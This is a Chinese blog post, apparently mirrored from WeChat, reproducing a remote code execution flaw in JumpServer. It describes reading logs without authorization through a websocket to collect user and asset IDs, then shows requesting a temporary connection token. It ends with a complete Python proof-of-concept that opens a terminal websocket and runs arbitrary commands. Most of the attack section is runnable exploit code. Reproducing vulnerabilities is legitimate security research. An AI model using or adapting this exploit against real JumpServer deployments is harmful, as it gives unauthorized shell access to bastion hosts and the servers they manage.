jumpserver最新RCE复现
source link: https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg%3D%3D&%3Bmid=2456097993&%3Bidx=1&%3Bsn=c582b3509540553e9c370006fee46124
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
前言
今天复现了jumpserver的最新RCE,可能是年纪大了有点激动发出来有点急。不过塔王紧跟着就把文章整理好了不得不说很专业。想了想也包不住多久,就干脆发公众号出来好了。主要是学到了不少东西,前排感谢rr、7师傅还有群里的其他师傅。年纪大了还能跟一跟热点,真的很开心。
正文
首先。安装
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
github 安装脚本全部是安装最新版的。
安装的时候注意几个坑。
这里全部选择no
然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/
访问jumpServer
跟踪一下漏洞代码【未授权】websocket
https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py
新版就加了一个判断。那么就直接连接上这个websocket 进行日志读取
插件下载
https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related
ws://192.168.1.73:8080/ws/ops/tasks/log/ {"task":"/opt/jumpserver/logs/jumpserver"}搜索存在一些task id
查看task id 的一些信息
这个信息是不可能泄露账号密码的。别被误导了。
注意。需要添加一台主机【如果不是很懂就参考官方文档】
然后进入web终端 登陆那台机器。【不登陆是获取不到那三个值的】
那三个值。在日志中的体现如下:
拿出一条
/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825&cache_policy=1&system_user_id=79655e4e-1741-46af-a793-fff394540a52&user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d
user_id= 508be25f-dea8-46f5-8ec8-866c187d8f6d
asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825
system_user_id=79655e4e-1741-46af-a793-fff394540a52
通过日志中的。api/v1/perms/asset-permissions/user/validate 信息。获取到临时的token 20S
import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
url_host='http://192.168.1.73:8080'
def get_token():
url = url_host+'/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
print(response)
return response['token']
get_token()
上面的是得到一个临时的token
代码如下:
然后这个20s 的token 能做啥,具体的跟踪代码。
登陆后台
后端代码如下:
https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
尝试websocket 连接一下试试。
最后通过脚本访问ws进行代码执行
POC:
# -*- coding: utf-8 -*-
# import requests
# import json
# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
#
# url_host='http://192.168.1.73:8080'
#
# def get_token():
# url = url_host+'/api/v1/users/connection-token/?user-only=1'
# url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
# response = requests.post(url, json=data).json()
# print(response)
# ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
# print(ret.text)
# get_token()
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
if __name__ == '__main__':
try:
import sys
host=sys.argv[1]
cmd=sys.argv[2]
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
except:
print("python jumpserver.py http://192.168.1.73 whoami")
总结:
1. 通过未授权访问得到三个id
2. 通过三个ID 进行一个零时token的获取
3.通过临时token 进行ws的访问。进而命令执行
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK